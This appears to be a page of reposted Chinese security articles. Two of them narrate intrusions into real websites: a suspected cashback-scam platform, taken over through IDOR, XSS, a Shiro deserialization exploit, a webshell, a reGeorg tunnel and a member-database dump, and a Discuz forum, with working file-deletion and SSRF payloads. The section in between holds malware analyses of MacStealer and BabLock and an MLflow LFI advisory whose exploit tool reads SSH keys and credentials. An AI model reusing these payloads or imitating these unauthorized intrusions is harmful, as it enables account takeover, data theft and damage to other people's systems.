目前初步找出两个登陆界面，后台登陆是没有验证码的可进行爆破操作，但前提条件是知道商家的手机号，这里就先正常登陆我自己的用户瞧瞧里面有无可利用的地方，功能很简单并无可利用的地方头像处也无法进行编辑上传等操作该界面也只是提供显示话费的总额，我猜他们搭这样一个平台也只是显示个数字前几个月唬住消费者。

图片

决定退出用户用burp抓个包分析分析传输的数据，输入正确的手机号验证码以及短信验证码开启抓包，可看到参数都是以明文传输的，验证码这些均与正确那我如果替换成别的用户是不是可以达到一个水平越权漏洞了呢，mobile处替换号码成功登陆别的用户斩获水平越权漏洞一枚。

图片图片

一样的个人中心一样的无任何利用的地方，转战后台登陆框框，像这类的后台二话不说直接使用burp抓个登陆的POST包在保存到本地txt文件使用sqlmap跑一跑说不定有意外的收获，因为是阿里云的服务器本地跑百分百的被拦截，所以我选择用与它相同的阿里云服务器去跑，username，password，remenbaer这三个均不存在注入。

图片图片

没事，抓个包发个包看看响应回来的数据，可以看到账号的内容直接输出在了value的标签上。

图片

构造xss payload闭合插它！！”><script>alert(/xss/)</script>然后在重新发包斩获反射性xss一枚。

图片

图片


0X03 Getshell

挖到的那个两个漏洞太鸡肋了，思路也暂时断了回过头再分析分析抓到的数据包，一直没太注意响应包仔细一看发现rememberMe=deleteMe字样，shiro反序列化漏洞呀。

图片

直接怼上exp，这里直接查看源代码取网站内的静态文件填入做检测。

图片

可看到命令执行框内是可输入的证明存在该漏洞相反不存在则不可输入，且在/css的同级目录下生成了5663.js的验证文件，访问测试是否成功写入文件。

图片图片

成功写入文件，接下来写入shell冰蝎连接执行whoami查看当前权限，Linux的环境直接root最高权限省去了需要提权的麻烦。

图片

权限有了，并且服务器对外开放22端口可以直接写入公钥免密登陆，但考虑对方是阿里云的服务器异地登陆的话会有短信提醒动静太大所以没执行该方案，继续挖掘有用的信息，翻了半天翻到了个数据库的配置文件，数据库连接的地址是172.xx.xx.xx（各位师傅技艺高超内网地址也给码上防止爆菊）一看就知道是内网的ip站库分离啊，想办法代理转发出来连接瞧瞧。

图片

冰蝎上有个Socks代理配合Proxifier在加上Navicat Premium数据程序管理进行隧道代理打入其内网数据库，常规的配置好Proxifier后添加程序进行连接，可问题来了反反复复试了好几次一点连接就直接数据异常，十有八九的被拦截了。

图片

在内网代理这块踩了不少的坑总而言之还是自己经验不足，也有各位师傅指点使用adminer.php(这里手动@Uncia大佬)，adminer确实不错很轻量便捷只需上传web目录即可但奈何使处的环境是Java环境只支持jsp脚本adminer也只有php的脚本。

图片


0X04 内网代理

既然adminer不支持冰蝎也代理不出，那咱们就自己搭一条代理的隧道出来，在这里踩了不少的坑尝试利用reDuh和Tunna要么就是没流量要么就是连上一下子就断开，不知道是不是我的姿势不对还是受当前环境的限制，最终在GitHub上找到reGeorg神器。

reGeorg 可以说是 reDuh 的升级版，主要是把内网服务器的端口通过 http/https 隧道转发到本机，形成一个回路，用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口，它利用 webshell 建立一个 socks 代理进行内网穿透，因为当前环境是java所以我们上传.jsp的转发文件到网站目录下。

上传脚本后访问其脚本，显示Georg says, 'All seems fine',代理成功。

图片

后在本地执行python2 reGeorgSocksProxy.py -p 9999 -u http://xx.xxxx.xx/tunnel.jsp在命令行界面同样显示Georg says, 'All seems fine'即可。

图片

打开Proxifier基本配置好监听本地127.0.0.1的9999端口，然后设置代理规则添加Navicat程序，其他动作选择Direct关闭状态唯独只允许Navicat流量通过。

图片

配置完后，右键Navicat以Proxifier本地代理模式打开。

图片

可以看到已稳定链接且Python窗口有流量传输（切记代理过程中请勿关闭窗口）。

图片


0X05  实锤骗局

 数据库咱也连上了，看看会员表里的账号，通过筛选member会员表里的name字段查找自己的名字，果不其然自己就躺在那里数据的时间跟被套路的时间相吻合。

图片

如何实锤？很简单库里的第一批用户是2019年5月份的，到现在也相差一年了，这是不是骗局登录19年的账号看看返现记录就一幕了然，就随机抽取一位幸运玩家结合前面的水平越权漏洞登录其账号。

图片

这都过去一年时间了果然也就只首次返现一次，前几个月唬住消费者过后又以各种理由的欺骗你，总之永远吃亏的还是消费者。

图片


0X06  写到最后

至于为何写这篇文章，因为我也是受害者我想通过这样的方式去剖析它让大家更直观的了解这个局以免更多的人被套路，你去办理的时候他们会跟你说这是移动授权下来的活动（之前也是这么跟我说的），但这一路下来可以看出跟移动半毛钱关系没有，只不过是他们自主搭建的一个平台，里边的余额也只是唬住你，有这么一个平台一个数字显示出来让你放心而已，至于首月到账的那几百块也只是从你那套的好几千手动给你充值给几百而已。

不说了，接下来的一年里我要吃土还花呗了嘤嘤嘤，商家登录系统那我估计还会有更多的猫腻，但渗透测试点到为止，我的目的就是证明这是不是一个骗局既然实锤了咱们也没必要在深入了。

我们所做的安全对抗，正如同没有硝烟的战争，战争的结果除了输赢之分，还有正义与非正义之别，唯一的区别就是我们要时刻站在正义的视角，探索了其漏洞原理，却不因此对其造成损害




转载于原文链接地址： https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486245&idx=1&sn=ebfcf540266643c0d618e5cd47396474&chksm=ce67a1bcf91028aa09435781e951926067dcf41532dacf9f6d3b522ca2df1be8a3c8551c1672&scene=21#wechat_redirect


HireHackking

趨勢科技的研究人員檢測到Mac惡意軟件MacStealer通過網站、社交媒體和消息平台Twitter、Discord和Telegram大肆傳播。 MacStealer，是使用Telegram 作為命令和控制(C2) 平台來竊取數據的最新威脅示例。它主要影響運行macOS 版本Catalina 以及之後運行在M1 和M2 CPU 上的設備。現在該惡意程序又有了新的傳播途徑，攻擊者通過假冒合法的遊戲賺錢(P2E)應用程序的圖片，引誘受害者下載它。 P2E是Play-to-earn 的縮寫,允許玩家通過玩遊戲來產生穩定的加密收入。每個遊戲的機制可能不同,但獎勵通常來自質押、刷遊戲幣或生成可交易的NFT物品。

趨勢科技的研究人員最近分析了一種名為MacStealer的Mac惡意軟件(檢測為TrojanSpy.MacOS.CpypwdStealer.A)，這是一種加密貨幣錢包和信息竊取程序，偽裝成合法遊戲賺錢(P2E)遊戲應用程。研究人員已經發現MacStealer的源代碼已經通過在線公共掃描服務洩露。該惡意軟件目前通過第三方網站傳播，使用從真實P2E應用程序中竊取的圖像和圖形，並在社交媒體和消息平台Twitter、Discord和Telegram上傳播。惡意軟件背後的攻擊者會偽裝成一家合法的遊戲公司，尋找測試人員，並吸引潛在的受害者下載他們的應用程序。

引誘新玩家與其他在感染設備的同時重定向用戶的假冒應用程序不同，攻擊者沒有假裝創建遊戲，只是從現有的P2E中復制。 Twitter賬戶和網站只是吸引用戶下載MacStealer的幌子。一旦惡意軟件執行，用戶就會在GUI提示中輸入各自的密碼，存儲在設備中的特定信息就會被竊取。

研究人員的傳感器在例行檢查中檢測到了高危示例進行分析，經過仔細檢查，發現worldofcretures[.]io網站與示例有關，該網站在Twitter上得到了大肆傳播。

檢查該網站後台發現假冒應用程序的頁面是在2023年1月才創建的，所有的圖形和文本都是直接從另一個P2E應用程序的網站上獲取的。這款假冒應用程序的推特頁面圖像也直接取自合法應用程序的社交媒體頁面，於2022年10月創建，與2021創建的合法應用程序帳戶相比，這是相對較新的。不知情的受害者可能沒有聽說過這款遊戲，他們很容易將假冒頁面誤認為是合法應用程序的原始遊戲和官方社交媒體賬號。

1.png

真實遊戲的網頁（上）和假冒遊戲的網頁（下）

這些網站在很多方面都有所不同（例如圖形、名稱和公司），如果感興趣的用戶知道這些細節，這些網站仍然可以識別。社交媒體帖子包括下載該應用程序的促銷活動，讓新玩家似乎只要連接到Discord渠道並下載遊戲就可以獲得免費贈品。一旦用戶加入攻擊者的渠道，攻擊者就會通過聊天說服用戶點擊惡意鏈接或下載惡意軟件文件。

2.png

假冒應用程序的帖子示例，用於重定向潛在受害者，並在Discord上“下載”遊戲

技術細節一旦受害者下載了遊戲，一個名為LauncherMacOS的.dmg文件，dmg（SHA256:8ea33c34645778b79dd8bb7dcf01a8ad1c79e7ada3fd61aca397ed0a2a57276，被Trend Micro檢測為TrojanSpy.MacOS.CypwdStealer.A）在系統中執行。簽名如下：

3.png

特別簽名在ARM64 M1蘋果處理器上尤為重要。它要求所有本機代碼都有有效的簽名（如果只是臨時的），否則操作系統將不會執行它。相反，它會在啟動時阻止本機代碼。

在檢查dmg中的應用程序包時，研究人員觀察到它包含以下使用Python編譯器Nuitka編譯的Mach-O二進製文件：

啟動器（SHA256:5e8f37420efb738a820e70b55a6b6a669222f03e4a8a408a7d4306b3257e12ff，被Trend Micro檢測為TrojanSpy.MacOS.CpypodStealer.A）Nuitka是一個不常見的編譯器，在測試過程中，主要的Mach-O顯示出可疑的網絡活動。研究人員還注意到Nuitka可以將Python腳本編譯成Mach-O二進製文件。

4.png

DMG示例的應用程序捆綁內容

程序本身分為兩個階段。第一個階段是Nuitka引導程序的執行。就其本身而言，邏輯本身是無害的，但會將惡意負載釋放到目標路徑，而第二階段是執行惡意負載。

惡意軟件的第一階段實現以下例程：

1.它從一個名為“有效載荷”的特殊部分讀取內容。

5.png

由惡意軟件二進製文件提取的部分

2. 它將內容寫入路徑為

6.png

第二階段Mach-O二進製文件釋放到系統上

3.它將環境變量NUITKA_ONEFILE_PARENT更改為當前進程號。

4.它執行提取內容的主要可執行文件，並清理引導版本本身。

第二階段可執行文件是一個基於CPython實現的程序，該程序由Nuitka從Python編譯而成。在編譯過程中，編譯器會清除部分信息以提高程序的執行效率，而Nuitka轉換的Python代碼完全清除了原始字節碼，無法恢復。由於不可逆的編譯過程，研究人員無法從Python源代碼的角度對其進行分析，但函數名稱和動態行為日誌提供了大量信息。

1.它試圖從以下錢包中竊取數據：

Binance

Exodus

Keplr

Metamask

Phantom

Trust wallet

7.png

用於竊取錢包數據的函數

2.它試圖竊取瀏覽器數據和密鑰鏈。在測試過程中，研究人員在系統上使用以下命令發現了該示例，用於文件/目錄發現和系統信息收集：

/bin/sh -c uname -p 2 dev/null

/bin/sh -c security default-keychain

8.png

用於竊取鑰匙鍊和錢包數據的函數

3.它使用chainbreaker轉儲鑰匙鏈。

4.彈出對話框，使用osascript騙取用戶密碼，命令如下：

9.png

對話框標題為“系統首選項”，圖標警告默認答案為“隱藏答案”。

10.png

獲取受害者密碼的對話框

5.它試圖將收集到的信息以Zip文件的形式發送到命令與控制（CC）服務器mac[.]cracked23[.]網站。

11.png

洩露數據的網絡數據包（頂部）和Zip文件的內容

12.png

發送到CC服務器的general_info.txt文件的內容

一旦下載並在受害者的系統中運行，MacStealer就會竊取受害者的錢包數據，並清空加密貨幣錢包。如果受害者沒有加密貨幣錢包，惡意軟件就會竊取用戶信息和鑰匙鏈。

通過社交媒體和其他平台傳播在掃描其他社交媒體帖子時，研究人員發現了攻擊者嘗試傳播MacStealer惡意軟件的努力。考慮到使用的戰術、技術和過程（TTP）是相似的，這個示例和部署可能是一個組織完成的。在本節中，我們以Impulse Flow假冒應用程序為例。

攻擊者創建一個Twitter賬戶和相關網站來宣傳假冒的遊戲應用。以下是一個帶有驗證圖標的Twitter賬戶示例。然後，他們將游戲宣傳為基於區塊鏈技術的免費P2E在線遊戲。

有一個鏈接樹鏈接，其中包含到他們其他通道的鏈接，Linktree 是一家在線工具平台，可以讓你在社交媒體上展示自己或品牌的多個網站鏈接。 Linktree 的主要業務是提供一個簡單易用的工具，讓用戶能夠在Instagram、TikTok、Twitter 等社交媒體上分享多個鏈接，從而幫助他們更好地展示自己或品牌，增加流量、轉化率和銷售額，其中包含指向其他渠道的鏈接：

Website: https[:]//play-impulseflow[.]com/

Website: https[:]//impulse-flow[.]gitbook[.]io/impulse_flow-whitepaper/

Website: https[:]//github[.]com/ImpulseFlowBeta/1[.]0[.]3

Discord: https[:]//discord[.]gg/Impulse-flow

Twitter: https[:]//twitter[.]com/lmpulse_Flow

Telegram: https[:]//t[.]me/impulseflow_official

圖片搜索查詢顯示，推特和其他社交媒體賬戶中使用的媒體(圖片和視頻)抄襲了遊戲《余烬之剑》 (EmberSword)。 Ember Sword是一個多資產的虛擬經濟遊戲，其主要功能是支持用戶社區購買，出售和使用遊戲專屬虛擬資產。在Ember Sword中，用戶可以購買，出售和發行各種遊戲幣和令牌，包括經典貨幣，裝備，材料和其他供玩家交易的內容，這種內容可以用來升級角色，改善遊戲內的經濟秩序，以及豐富遊戲體驗。攻擊者利用這些平台誘使潛在受害者執行惡意軟件可執行文件。所觀察到的一些方法如下：

1.他們將其宣傳為一款公測遊戲，並吸引人們參與他們的測試計劃以換取獎勵。這些測試人員被邀請加入攻擊者的Discord或Telegram渠道，在那裡他們會得到惡意軟件二進製文件或下載惡意軟件二進製文件的鏈接。在某些情況下，鏈接或文件將需要密碼，他們通過Discord或Telegram渠道接收:https[://]twitter.com/lmpulse_Flow/status/1633735911782400000。

13.png

輸入密鑰可以讓潛在的受害者下載MacStealer惡意軟件二進製文件

2.他們直接向內容創造者傳達信息，幫助他們推廣遊戲。這被懷疑是一種針對這些有影響力的人的社會工程策略。

https[://]twitter.com/powrdragn/status/1638024217412390913

https[://]twitter.com/ender_thien/status/1637659072379101185

https[://]twitter.com/naerycrypto/status/1637226997817692161

https[://]twitter.com/CiervoKing/status/1637220583736762370

3.他們發布虛假的職位空缺，並引誘求職者下載他們的惡意軟件二進製文件：https://twitter.com/witty_taeil/status/s1631654308218298368。

14.png

一些人在推特賬戶上發布了關於與假冒遊戲應用程序和網站相關的惡意活動的警告。

15.png

一些用戶據稱是MacStealer惡意軟件的受害者

總結雖然P2E遊戲並不新鮮，但它正在重新引起人們的興趣，越來越受歡迎，而攻擊者也在努力利用這一不斷增長的趨勢。 MacStealer惡意軟件只是眾多利用P2E吸引力的惡意軟件之一。 P2E遊戲玩家最適合成為攻擊目標，因為這些遊戲的經濟模式要求他們使用加密貨幣和錢包。

安全研究人員可以發現，考慮到攻擊者使用Discord和Telegram直接與受害者溝通，使用不常見的手段傳播惡意軟件，調查分析惡意軟件並不容易。

該惡意軟件似乎並不復雜，由於原始代碼是Python腳本，因此使用它只需較低的技能。考慮到原始代碼是使用Nuitka編譯成Mach-O二進製文件的Python腳本，儘管這會使反編譯變得困難，因此其本身並不復雜。這對分析師來說可能很難進行逆向工程，因為儘管它很簡單，但使用Nuitka編譯Mach-O二進製文件表明，對一個好目標進行適當的攻擊可以獲得巨大的回報。在這種情況下，他們針對的是經常使用加密錢包的P2E遊戲玩家。攻擊者收集的大部分利潤來自通過社交工程技術竊取的加密貨幣，將惡意軟件發送到用戶的設備(即網站、Twitter賬戶和其他相關渠道)。

Discord為各種目的提供渠道，其中包括P2E遊戲和用戶。作為一個逐漸成為玩家交換信息的平台，在Discord中下載鏈接以訪問遊戲——無論是作為用戶還是測試人員——可能不會立即在受害者中引發危險信號。這也增加了攻擊者選擇該平台傳播惡意軟件的可能性。然而，一名受害者指出，攻擊者的渠道明顯缺乏互動，並將這些細節標記為對其他人的警告。其他用戶警告稱，只要他們要求截屏或發布警告推文，他們就會立即被這些渠道封殺。

此外，由於最近Twitter所有權的中斷和賬戶驗證政策的變化，攻擊者似乎濫用它來輕鬆獲得一個經過驗證的賬戶。這提供了一種合法性的假象，以提高假冒應用程序和賬戶的社交工程能力。使用這種技術也可以很容易地在TikTok、YouTube和Facebook等其他平台上宣傳。

為了避免和防禦像MacStealer這樣的威脅，研究人員強烈建議謹慎安裝來自非官方來源和應用程序平台的應用程序。為設備啟用最新的安全解決方案還可以幫助檢測、阻止和緩解這類威脅的風險。

HireHackking

CVE-2023-1177：MLflow中的LFI/RFILFI/RFI導致系統和雲帳戶被接管

所有CVE在版本2.2.2中已經被修復

已發布了漏洞利用工具和掃描工具

機器學習系統領域最流行的工具之一是MLflow（月下載量超過1300萬人次，且這個數字還在增長），它用於管理端到端機器學習生命週期。

Protect AI測試了MLflow的安全性，結果發現了一個混合型的本地文件包含/遠程文件包含(LFI/RFI)漏洞，可能導致整個系統或云提供商被人接管。強烈建議運行MLflow服務器的組織立即更新到最新版本，或者至少更新到2.2.2版本。版本2.2.1修復了CVE-2023-1177，版本2.2.2修復了CVE-2023-1176。我們在本博文中探討了該漏洞的影響、如何檢測它，以及我們發現這個嚴重漏洞的過程。如果你正在運行MLflow，請使用本博文中提供的免費工具，立即開始修補系統。使用傳統工具給系統打補丁可能是一個挑戰，因為許多自動化補丁管理系統並不枚舉或識別MLflow，就算枚舉或識別，可能也不會執行版本檢查。

立即升級到MLflow的最新版本非常重要，哪怕你的實例不在生產環境中，只在開發環境中使用。

影響如果利用該漏洞，未經身份驗證的遠程攻擊者可以讀取啟動了MLflow服務器的用戶可以訪問的這台服務器上的任何文件。

可以通過從MLflow服務器獲取私有SSH密鑰或云服務提供商憑據來獲得遠程代碼執行的機會。這讓攻擊者得以遠程登錄到服務器或云資源，並利用找到的憑據擁有的相應權限執行任意代碼。

漏洞細節不需要用戶交互。

不需要事先了解環境。

MLflow的所有自定義配置都易受攻擊，包括開箱即用的安裝環境。

MLflow 2.1.1之前的所有版本都容易受到LFI的攻擊。

漏洞利用工具適用於從MLflow v1.12到v2.1.1的所有版本。

MLflow 2.0之前的所有版本都容易受到LFI的攻擊，只需通過更簡單地利用：http://

MLflow維護者迅速響應了負責任披露的這個漏洞，在短短幾週內交付了修復程序。 MLflow 2.1.1之後的版本不再容易受到攻擊。

漏洞檢測若要檢查你的MLflow服務器是否容易受到攻擊，請使用我們的免費CVE-2023-117-scanner掃描工具（https://github.com/protectai/Snaike-MLflow）。

發現過程我們先安裝了MLflow，啟動攔截代理BurpSuite以攔截所有MLflow API調用，運行用數據填充MLflow的實驗，然後啟動UI服務器作進一步探索。

# Download MLflow source to get access to their example runs

git clone https://github.com/mlflow/mlflow

# Create and enter new directory outside the mlflow/directory

mkdir mlflowui

cd mlflowui

# Copy the example code from the MLflow source into this new directory

cp -r ./mlflow/examples/sklearn_elasticnet_wine .

# Setup a virtual environment for installing requirements

python3 -m venv venv

source venv/bin/activate

# Install mlflow in this virtual environment

pip install mlflow pandas

# Run the example experiment

mlflow run --env-manager=local sklearn_elasticnet_wine -P alpha=0.5

# Run the UI to see the experiment details

mlflow ui --host 127.0.0.1:8000

在創建實驗時，它給了我們指定存儲對象的目錄這一選項。這似乎是一個可配置的文件路徑，我們可以通過運行的示例實驗就可以看到：

1.png

圖1

這立即引起了我們的注意，因為這需要完美地實施過濾機制，以防止本地文件包含或任意文件覆蓋。然而，你無法從UI遠程運行MLflow實驗。由於當你通過UI創建實驗時，工件位置實際上沒有發生任何變化，因此這裡沒有任何安全考慮。然後，我們通過點擊單趟實驗運行繼續探索。

2.png

圖2

點擊上圖所示的運行名稱，將我們帶到實驗運行細節，在這裡我們可以看到實驗涉及的文件，並下載文件，如下圖所示。

在這裡，我們在工件文件中看到了一個很大的“Register Model”（註冊模型）按鈕。我們很好奇。

3.png

圖3

4.png

圖4

它似乎不是什麼特別值得關注的對象，因為它只是彈出一個模式，讓你選擇模型，然後將該模型的詳細信息保存為“Version 1”（版本1）。

5.png

圖5

但是底層到底發生了什麼？為此我們檢查了BurpSuite。

6.png

圖6

我們發現了在UI中並沒有顯示的另一個協議和文件路徑輸入。這似乎很可疑。我們將它手動更改為用戶的私有SSH密鑰：file: ///Users/danmcinerney/. ssh/id_rsa。訪問該文件將允許你以啟動了MLflow服務器的用戶的身份遠程登錄到MLflow主機。

7.png

圖7

新的source在響應中有所體現，這通常表明服務器端出現了變化。我們很想知道這實現了什麼操作，於是回過頭去查看已註冊的模型細節。實驗中沒有什麼運行工件，模型細節或模型版本細節中也沒有值得關注的對象。這似乎是另一條死胡同，類似我們發現你可以將實驗工件路徑指向任意位置，但UI隨後不讓你任何操作。然而在檢查BurpSuite請求和響應日誌後，我們發現了一些值得關注的異常。

攻擊者現在擁有訪問權

8.png

圖8

get-artifact API調用中的“500內部服務器錯誤”讓我們感到可疑。在安全測試的早期，get-artifact API調用值得注意，因為它是從工件存儲庫返回文件數據的調用。這是你從實驗運行下載模型的方法，我們發現它受到了一個防止本地文件包含漏洞的函數的保護，如下所示。

9.png

圖9

我們花了一些時間試圖繞過這個，但沒有成功。這個特殊的get-artifact調用的不同之處在於，它不是試圖從子文件夾獲取文件，而是直接訪問文件名。此外，它實際上不是同一個API調用。下面是記入文檔的get-artifact REST API調用：

10.png

圖10

下面是類似的model-version/get-artifact調用：

11.png

圖11

區別包括URL路徑、參數和值。這顯然不是同一個API調用。

我們注意到這個API調用不在說明文檔中。關鍵區別在於，它通過path URL參數直接查找文件名，而不是通過合法的get-artifact API調用中的相對文件路徑來查找。

這就意味著LFI防護機制並不存在，因為不需要執行目錄遍歷。只需要控制源文件夾的位置。在上面的幾個步驟中，當我們創建一個新的模型版本時，嘗試將API請求的source路徑位置修改為：file:///Users/danmcinerney/.ssh/id_rsa：

12.png

圖12

我們應該做的是將source位置更改為文件夾而不是更改為文件。我們糾正了這一點。

13.png

圖13

隨後我們重新發送了發現的這個未記入文檔的REST API調用，並將其指向id_rsa，這是新模型版本source位置中的文件以及提供遠程登錄服務器功能的私有SSH密鑰。

14.png

圖14

使用檢索到的SSH密鑰，我們就可以通過終端訪問運行MLflow服務器的主機。 MLflow最常被配置為使用S3存儲桶作為工件存儲區。如果是這種情況，那麼機器上另一個價值非常高的目標將是~/.aws/credentials文件，可想而知該文件存儲的是AWS憑據。

其他高價值目標可能包括包含明文密碼的Web服務器SQL配置文件或包含所有用戶密碼散列的/etc/shadow，這些用戶密碼散列可以通過hashcat之類的工具來破解。

漏洞利用工具為了幫助保護你的系統，我們創建了一個簡單的工具來發現潛在漏洞，這個工具名為MLFIflow.py（https://github.com/protectai/Snaike-MLflow）。

安裝git clone https://github.com/protectai/Snaike-MLflow

cd Snaike-MLflow/MLFIflow

python3 -m venv mlfiflow

source mlfiflow/bin/activate

pip install -r requirements.txt

使用默認情況下，MLFIflow將嘗試從MLflow服務器讀取/etc/passwd，並使用找到的用戶名搜索SSH密鑰和雲憑據文件：

python MLFIflow.py -s http://1.2.3.4:5000

若要指定待下載的文件的自定義單詞列表，使用-f標誌：

python MLFIflow.py -s http://1.2.3.4:5000 -f /path/to/wordlist.txt

HireHackking

本文會分析一種名為BabLock（又名Rorschach）的勒索軟件，它與LockBit有許多共同的特點。

最近，一種名為BabLock(又名Rorschach)的勒索軟件因其複雜而快速的攻擊鏈而引起轟動，該軟件使用的技術非常有創新性。雖然主要基於LockBit，但也汲取了其他不同勒索軟件部分的功能，並最終組合成為BabLock(檢測為Ransom.Win64.LOCKBIT.THGOGBB.enc)。 LockBit現在已經開始第三次迭代。

我們會在本文中詳細介紹它的攻擊鏈，並分析其可能的起源。

發現過程2022年6月，研究人員發現了一個勒索軟件（後來被證明是BabLock），它使用了一種獨特的附加擴展方式，而不是勒索軟件攻擊中通常使用的“一個樣本，一個擴展”方法，我們發現，攻擊者在針對這種特定感染的固定勒索軟件擴展的頂部添加了從00-99的數值增量。因此，即使在一台受感染的計算機上，一次執行也可能產生多個擴展變體。

1.png

該勒索軟件的獨特特徵是顯示擴展的數值增量

調查發現，勒索軟件總是以多組件包的形式部署，主要由以下文件組成：

加密的勒索軟件文件config.ini；

惡意側載DLL (DarkLoader, config.ini解密器和勒索軟件注入器)；

用於加載惡意DLL的非惡意可執行文件；

使用正確密碼執行非惡意二進製文件的CMD文件。

2.png

在一個感染實例中發現的主要勒索軟件包

DarkLoader DLL將檢查特定的命令，特別是--run，它會檢查啟動加密過程所需的正確的4位密碼。雖然它對config.ini本身的內容的解包意義不大，但如果提供正確，DLL將執行基本的勒索軟件例程。

3.png

如果在命令行中添加了正確的密碼，勒索軟件將繼續進行整個加密過程

一旦DLL組件被非惡意可執行文件加載，它將立即在當前可執行文件的路徑中查找config.ini文件。一旦找到它，DLL將解密config.ini，然後用一組特定的命令行執行notepad.exe。

在這個異常的活動中，研究人員發現了一些顯著且一致的模式：

主要的勒索軟件二進製文件通常以加密的config.ini文件的形式發送；

DarkLoader是通過使用合法可執行文件的DLL側加載來執行的；

config.ini文件由專門為這些活動設計的自定義加載程序解密（檢測為Trojan.Win64.DarkLoader）；

在同一受感染的計算機中，BabLock為每個文件的擴展名字符串附加一個從00到99的隨機數（例如，extn00-extn99作為同一感染中的擴展名）；

任何DarkLoader DLL都可以用來解密任何加密的勒索軟件config.ini，不需要特定的二進製配對。

DarkLoader DLL使用Direct SysCall API來選擇幾個但重要的調用，以避免API讀取分析。解密後的BabLock勒索軟件總是使用VMProtect進行反虛擬化。

BabLock是通過掛鉤API Ntdll的攻擊注入加載的。 RtlTestBit跳轉到包含勒索軟件代碼的內存。

針對不同攻擊的密碼有幾種變體，但它們都在一定的範圍內。

4.png

提供給notepad.exe的命令行參數，用於在最近的攻擊中加載和執行勒索軟件

5.png

DLL使用幾個直接的SysCall指令來避免API讀取

6.png

notepad.exe文件被注入到RtlTestBit的API調用線程中，該線程已被修復/掛起以跳轉到惡意例程

精妙的攻擊技術在2022年6月首次發現BabLock時，研究人員搜索了類似的文件，發現這些文件的最早記錄可以追溯到2022年3月。在發現這一點後，研究人員想弄清楚它是如何逃避檢測這麼長時間的。

自2022年6月以來，只有少數幾起涉及該勒索軟件的記錄事件，包括最近的一起。由於數量較少，截至撰寫本文時，還沒有涉及地區、行業或受害者資料的統計數據。

7.png

BabLock勒索軟件相關事件

然而，由於其顯著特徵，與BabLock相關的攻擊可以很容易地識別。如上所述，在每次文件加密後，勒索軟件都會在其硬編碼擴展名中添加一個介於00-99之間的隨機數字符串，這導致相同的勒索軟件擴展多達100種不同的變體。

8.png

顯示將00-99之間的隨機數字符串附加到加密文件的代碼片段

它還有一個相當複雜的執行例程：

它使用特定的數字代碼來正確執行；

它將包拆分為多個組件；

它將實際有效負載拆解並隱藏到加密文件中；

它使用普通應用程序作為加載程序；

最後，BabLock使用公開可用的工具作為其感染鏈的一部分。我們發現最常用的工具如下：

Chisel-傳輸控制協議（TCP）和用戶數據報協議（UDP）通道；

Fscan-一個掃描工具；

通過使用這兩個工具，再加上擁有設置活動目錄(AD)組策略的功能的BabLock/LockBit，攻擊者可以毫不費力地在網絡中翱翔。

BabLock與LockBit等勒索軟件的異同根據調查，BabLock使用的大多數例程與Lockbit（2.0）的關係密切。除此之外，它還與Babuk、Yanloowang等勒索軟件存在相似之處。

最初，由於勒索通知的相似性，我們懷疑它與DarkSide勒索軟件有關。然而，與DarkSide勒索軟件不同，BabLock通過執行以下命令行來刪除卷影副本：

9.png

因此，研究人員立即排除了這種關係，因為它不同於DarkSide的操作，即通過Windows Management Instrumentation（WMI）和PowerShell刪除卷影副本（這在技術上更複雜，很難通過標準監控工具檢測到）。

10.png

勒索軟件二進製文件解密並執行命令行以刪除卷影副本

Lockbit(2.0)的一個共同特徵是使用相同的組策略來生成桌面放置路徑。同樣，使用vssadmin刪除卷影副本也是LockBit攻擊中大量使用的例程（儘管也是許多現代勒索軟件的常見例程）。儘管如此，這種相似之處還是不可思議的。此外，它運行相同的命令來為AD執行GPUpdate。因此，該勒索軟件的檢測仍屬於LockBit家族。

11.png

將BabLock生成桌面放置路徑的組策略（左）與LockBit的組策略進行比較（右）

BabLock看起來像是一個由不同的已知勒索軟件家族拼接而成的怪物。

12.png

BabLock與其他勒索軟件家族的相似之處

總結研究人員發現BabLock時已經是其第三個迭代版了。然而，由於其大部分結構仍然類似於Lockbit v2.0，我們推測這可能來自另一個分支機構或組織。 LockBit v3.0發布近一年來，即使在最近的攻擊中，研究人員也沒有發現BabLock的有效負載發生任何變化，這進一步說明它與實際的LockBit組織既沒有聯繫。據分析，BabLock背後的攻擊者成功地利用了LockBit v2.0的許多基本功能，並添加了不同勒索軟件家族功能，以創建他們自己的獨特變體，這些變體可能在未來進一步增強。

安全建議如下：

對資產和數據進行盤點；

識別授權和未經授權的設備和軟件；

審計事件和事件日誌；

管理硬件和軟件配置；

僅在必要時授予員工角色的管理權限和訪問權限；

監控網絡端口、協議和服務；

建立只執行合法應用程序的軟件許可列表；

實施數據保護、備份和恢復措施；

啟用多因素身份驗證(MFA)；

將最新版本的安全解決方案部署到系統的所有層，包括電子郵件、端點、web和網絡；

注意攻擊的早期跡象，例如係統中存在可疑工具；

實施多方面的方法可以幫助組織保護其係統（如端點、電子郵件、web和網絡）的潛在入口點。

HireHackking

主站注册可以发现jsp和php后缀共存，应该是不同路由反代了不同的中间件，找不到啥漏洞。

Image

论坛是Discuz! X3.2

Image

发现Discuz急诊箱。

Image

admin.php 403，uc_server和急诊箱均无弱密码。

在《渗透某盗版游戏网站》中我介绍了Discuz后台有什么漏洞，那么前台漏洞呢？主要有任意文件删除，SSRF，uc_server爆破。

首先是任意文件删除。

POST /home.php?mod=spacecp&ac=profile&op=base

birthprovince=../../../info.php

Image

然后再POST文件上去，即可删除info.php

<formaction="https://x.com/home.php?mod=spacecp&ac=profile&op=base"method="POST" enctype="multipart/form-data">    
<input type="file"name="birthprovince" id="file" />    
<input type="text"name="formhash" value="017b5107"/>     
<input type="text"name="profilesubmit" value="1"/>    
<input type="submit"value="Submit" /></from>

这个漏洞虽然危害不低，但对后续渗透没什么用，Discuz很难通过删除文件去install。

再看SSRF。

/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://qzf9jq.dnslog.cn/1.png[/img]&formhash=017b5107

这是一个不回显的SSRF，只能通过时间延迟来判断。

一，可直接通过http去探测内网，如果ip存活则短延迟(不管端口开没开)，如果ip不存在则长延迟。

二，可以通过302跳转改变协议，ftp，dict，gopher都支持。

三，可以通过ftp协议来探测端口，如果端口开放则长延迟，如果端口关闭则短延迟。


先通过http协议访问我的VPS获取论坛的真实ip。

163.*. *.35.bc.googleusercontent.com(35.*.*.163)

然后尝试盲打本地redis(这里探测本地端口全关，认为不合理，所以直接盲打)

gopher协议攻击redis时本地测试的时候发现不需要用$声明每行命令字符串长度。

先看清晰的SSRF攻击payload

